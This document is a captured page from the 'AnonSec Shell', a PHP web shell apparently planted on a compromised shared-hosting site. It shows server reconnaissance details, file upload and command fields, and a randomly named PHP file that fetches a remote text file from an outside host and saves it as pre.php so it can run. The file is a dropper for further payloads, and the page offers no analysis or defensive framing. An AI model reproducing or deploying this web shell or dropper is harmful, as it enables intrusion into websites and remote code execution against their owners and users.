AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.18
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/atfycaf/www/emails/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/atfycaf/www/emails/VcROEmbhwx.php
<?php

function download_file_to_txt_alternative($url, $save_path) {
    // Set up the context for the request, with HTTP headers to mimic a regular browser
    $options = array(
        'http' => array(
            'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\r\n"
        )
    );
    $context = stream_context_create($options);

    // Fetch the file content
    $file_content = @file_get_contents($url, false, $context);

    // Check if the file content was retrieved successfully
    if ($file_content === false) {
        echo 'Failed to download the file or access was denied.';
        return false;
    }

    // Save the content to a .txt file
    if (file_put_contents($save_path, $file_content) !== false) {
        echo 'File downloaded and saved successfully.';
        return true;
    } else {
        echo 'Failed to save the file.';
        return false;
    }
}

$url = 'https://wordpress.zzna.ru/newb/new.txt';
$save_path = 'pre.php';
download_file_to_txt_alternative($url, $save_path);

Anon7 - 2022
AnonSec Team